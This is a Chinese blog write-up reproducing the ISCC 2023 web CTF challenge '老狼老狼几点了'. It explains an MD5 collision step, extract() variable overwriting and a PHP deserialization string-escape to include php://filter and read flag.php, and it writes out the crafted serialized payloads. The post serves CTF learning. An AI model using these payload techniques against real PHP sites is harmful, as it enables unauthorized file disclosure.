ISCC2023web 老狼老狼几点了(小白版详细复现)

去年的这个时候我还很菜,可能连题目都看不懂,今年刚参加完2024,想着顺便把2023的也看了吧,毕竟这可是我参加的第一个ctf比赛。

刚开始暴力破解,或者瞎猜也行?猜到正确的数字(12)就会看到源码。

然后是代码分析

1684584516 //时间戳
<?php
//"Hello! welcome to ISCC, wish you have a great time!";
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
echo time();
class what_time_is_it{
protected $func, $target;
public function __construct($show_time){
$this->func = $show_time;
}
public function __wakeup(){
echo "wakeup";
}
public function call_func(){
$lets_show_time = unserialize($this->filter($this->func));
if($lets_show_time['function'] == "show_time"){
echo 'The time is: ". date("h:i:sa", time()). "<br>';
}
else if($lets_show_time['function'] == "hack"){
file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa",
time()). "<br>';");
echo "做撚啊做,你还是看看时间吧";
include($lets_show_time['file']);
}
else
highlight_file(__file__);
fastcoll⽣成以未来时间戳开头相同的md5值
}
private function filter($s){
return preg_replace('/base64/i','', $s);
}
public function __destruct(){
$this->call_func();
}
}
if($_SESSION) unset($_SESSION);
$p1 = $_POST['param1'];
$p2 = $_POST['param2'];
$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";
$_SESSION['file'] = 'time.php';
if ($p1 !== $p2 && md5($p1) === md5($p2)){ //要求p1 p2值不相等但md5之后的值相等->md5碰
撞
if (substr($p1, 0, 10) === strval(time())){ //截取p1字符串的前⼗位和当前时间转换的字符串
相等,未来时间戳
echo "Just the time";
extract($_POST);
$_SESSION['file'] = 'time.php';
$_SESSION['function'] = "show_time";
}
else{
echo "Sorry wrong time!";
}
}
$let_me_show_time = serialize($_SESSION)."<br>";
$a = new what_time_is_it($let_me_show_time);

(真的是现在也太菜了,看的我头晕,看了别人的分析,我才理解到一点点)

一些不太熟的函数:

strval():获取变量的字符串值

extract(): 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

time():获取unix时间戳,精确到秒

在网上可以找到转换工具:

分析代码:

漏洞可以从include入手,后台扫描(dirsearch),能扫描到存在flag.php。

那么就能想到用include,配合php://filter伪协议读取flag.php。

然后继续向上寻找需要满足的条件

1)$lets_show_time的属性function需值等于hack。

2)call_func()会被__destruct()自动调用,call_func()函数中$lets_show_time会被反序列化,然后filter过滤func属性,过滤base64大小写为空,有过滤,这里可以想到字符串逃逸,一次逃掉6个字符

然后继续向上,分析类外边的:

首先传参,p1,p2 分析:需满足p1,p2值不相等,但是md5值相等,且p1的前10位需强等于当前时间戳,这里考虑先预写一个未来的时间,到时候再传上去

MD5碰撞->通过分析这次题目,学到了一个小工具fastcoll,可以完成md5碰撞

【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll v1.0.0.5-CSDN博客

然后把$_POST给变量化,这里可以好好利用。

接着是把SESSION给序列化,作为参数传入what_time_is_it,赋给func

操作:

md5碰撞:

构造SESSION序列化,extract()构造两个变量用来欺骗,file和function已经定死了,无法改变
但是可以通过再构造两个参数,a,b,欺骗function和file的值,一个用来欺骗,另一个用来使欺骗"合法"->字符串逃逸

一步一步来,先按理想状态构思一下序列化内容:

<?php
$_SESSION['a']='a';
$_SESSION['b']='b';
$_SESSION['file'] = 'php://filter/read=convert.base64-encode/resource=flag.php';//flag.php
$_SESSION['function'] = "hack";//hack

print_r($_SESSION);
var_dump(serialize($_SESSION));

序列化值为:

a:4:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"function";s:4:"hack";}

需要让过滤后呈现此状态,

在正常序列化一下,不知道设置a几个base64,先随便设置一下,

序列化格式:

a:4:{s:1:"a";s:7:"abase64";s:1:"b";s:120:";s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"function";s:4:"hack";}";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";}

需要把标记内容过滤,一共16个字符,凑个整,6*3=18,可以把b的值再多加两个字符

如此如此,这般这般,得到

a:4:{s:1:"a";s:19:"abase64base64base64";s:1:"b";s:122:"aa;s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"function";s:4:"hack";}";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";}

还有一点需要注意,php://filter里的base64也会过滤,所以双写绕过:

a:4:{s:1:"a";s:19:"abase64base64base64";s:1:"b";s:122:"aa;s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.babase64se64-encode/resource=flag.php";s:8:"function";s:4:"hack";}";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";}

但是字符数量还得是57,所以b:

$_SESSION['b']='aa;s:1:"b";s:1:"b";s:4:"file";s:57:"php://filter/read=convert.babase64se64-encode/resource=flag.php";s:8:"function";s:4:"hack";}';

因为此处是post传参,所以变量为_SESSION['a'],_SESSION['b']

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值